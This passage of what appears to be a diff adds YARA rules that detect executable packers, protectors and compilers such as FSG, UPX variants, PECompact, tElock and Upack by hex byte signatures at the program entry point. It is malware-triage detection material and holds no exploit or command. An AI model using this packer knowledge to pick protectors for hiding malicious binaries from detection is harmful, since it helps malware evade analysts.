+		$0 = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+		$1 = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43}
+		$1 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VcAsm_Protector_V10X__VcAsm_
+{
+	meta:
+		description = "VcAsm Protector V1.0X -> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Inbuild_v10_hard_
+{
+	meta:
+		description = "Inbuild v1.0 [hard"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+		$1 = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEBundle_v20b5__v23_
+{
+	meta:
+		description = "PEBundle v2.0b5 - v2.3"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102b_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.02b-> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_ASPack_211d__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake ASPack 2.11d) -> emadicius"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Gleam_v100_
+{
+	meta:
+		description = "Gleam v1.00"
+	strings:
+		$0 = {00 00 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 5B ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+		$1 = {83 EC 0C 53 56 57 E8 24 02 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Pack_Master_10_PEX_Clone_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)"
+	strings:
+		$0 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Crypt_v100v101_
+{
+	meta:
+		description = "PE Crypt v1.00/v1.01"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+		$1 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_2x_beta_version__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact 2.x (beta version) -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 80 00 28 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_2_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (2)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 3B C4 73}
+		$1 = {B8 ?? ?? BA ?? ?? 3B C4 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_v093__Lucas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector v0.9.3 -> Lucas Fleischer"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 00 81 EB 00 01 00 00 75 BE 90 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 7A ?? ?? ?? 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 C1 00 46 61 74 61 6C 45 78 69 74}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_Stub_b__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub b -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 57 83 ?? ?? 31 DB EB}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+		$2 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_Debug_Version_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 (Debug Version)"
+	strings:
+		$0 = {55 8B EC 51 ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_Special_Build__heXer__forgot_
+{
+	meta:
+		description = "tElock v0.99 Special Build -> heXer & forgot"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+		$1 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_102__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8}
+		$1 = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _SimplePack_10X__bagie_
+{
+	meta:
+		description = "SimplePack 1.0X -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v036_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.36 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+		$1 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+		$2 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 82 8E FE FF FF 58 8B 4E 40 5F E3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _eXPressor_12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+		$1 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Diet_110__120_COM_
+{
+	meta:
+		description = "Diet 1.10 - 1.20 [COM]"
+	strings:
+		$0 = {BE 00 00 BF 00 00 B9 00 00 3B FC 72 04 B4 4C CD 21 FD F3 A5 FC 8B F7 BF 00 01 AD AD 8B E8 B2 10 E9 00 00 64 6C 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _MASM32__TASM32_
+{
+	meta:
+		description = "MASM32 / TASM32"
+	strings:
+		$0 = {2B C0 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v02__yadolockless_
+{
+	meta:
+		description = "Krypton v0.2 -> yado/lockless"
+	strings:
+		$0 = {8B 0C 24 E9 0A 7C 01 00 AD 42 40 BD BE 9D 7A 04}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_120_COM_
+{
+	meta:
+		description = "EPW 1.20 [COM]"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 BB 03 00 81 C3 00 01 2E 8B 07 8C CB 03 C3 05 10 00 50 B8 F3 00 50 CB 8C C0 05 10 00 8E C0 05 05 00 8E D8 2E 8B 0E 00 00 2B F6 2B FF FC F3 A4 0E 1F BA 20 00 B4 09 CD 21 BB 00 00 B9 10 00 B8 20 09 CD 10 BA 0E 00 B4}
+	condition:
+		$0 at entrypoint
+}
+rule _NoName_Packer_
+{
+	meta:
+		description = "NoName Packer"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 2E 34 46 00 B9 55 4A 46 00 81 E9 26 37 46 00 89 EA 81 C2 26 37 46 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_0977_
+{
+	meta:
+		description = "PECompact 0.977"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 00 87 DD 8B 85 2A 87 40 00 01 85 94 86 40 00 66 C7 85 91 86 40 00 90 90 BB E1 06 00 00 03 9D 2E 87 40 00 03 9D 2A 87 40 00 53 53 53 58 2D FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta_Patch_
+{
+	meta:
+		description = "Upack v0.32 Beta (Patch)"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _AEP_100_
+{
+	meta:
+		description = "AEP 1.00"
+	strings:
+		$0 = {E4 21 2E A3 64 00 33 C0 8B D8 5D B9 00 01 50 B8 FF 03 E6 21 0F A9 E6 A1 53 8B DF E4 21 23 D8 4B 0F A1 4B 66 65 FF 37 83 EB 04 49 75 F6 2E C6 06 9C 00 CB 68 17 00 C3 F4 02 41 05 FF 3E E7 5F 32 25 8A 2D 8C C8 F5 FC 8C C0 C0 FE 8C D0 C2 FE FE}
+	condition:
+		$0 at entrypoint
+}
+rule _DoPs_CryptExe_104_
+{
+	meta:
+		description = "DoP's CryptExe 1.04"
+	strings:
+		$0 = {8B DC EB 01 EA BC 03 00 EB 01 EA 83 FC 03 74 05 EB 01 EA CD 20 EB 01 EA 8B E3 2E 89 26 13 00 EB 01 EA E8 C1 01 EA 2E 8B 26 13 00 1E 33 C0 8E D8 FA FF 06 06 00 2E F7 06 00 00 EB 00 FF 0E 06 00 FB 1F 2E 8C 1E 15 00 2E 8C 16 11 00 2E 89 26 13}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v16x__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.6.x -> CGSoftLabs"
+	strings:
+		$0 = {68 92 24 49 00 C3 2B 15 CD E3 9E C0 CC 77 3F 49 AD BA F3 57 F2 9A 9F F3 08 F6 9C 84 E1 A9 E4 15 9B 98 60 40 2E E2 8C 4E A5 BF A0 E4 6A A1 70 FC A9 BB A6 85 81 FC FB EB 27 46 72 72 98 E6 5C 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_50_KOLMCK_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK"
+	strings:
+		$0 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+		$1 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AsCrypt_v01__SToRM_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM"
+	strings:
+		$0 = {83 ?? ?? E2 ?? ?? E2 ?? FF}
+		$1 = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _dePACK__deNULL_
+{
+	meta:
+		description = "dePACK -> deNULL"
+	strings:
+		$0 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? ?? 00 E8 ?? 00 00 00}
+		$1 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+		$2 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? ?? 00 E8 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? D2}
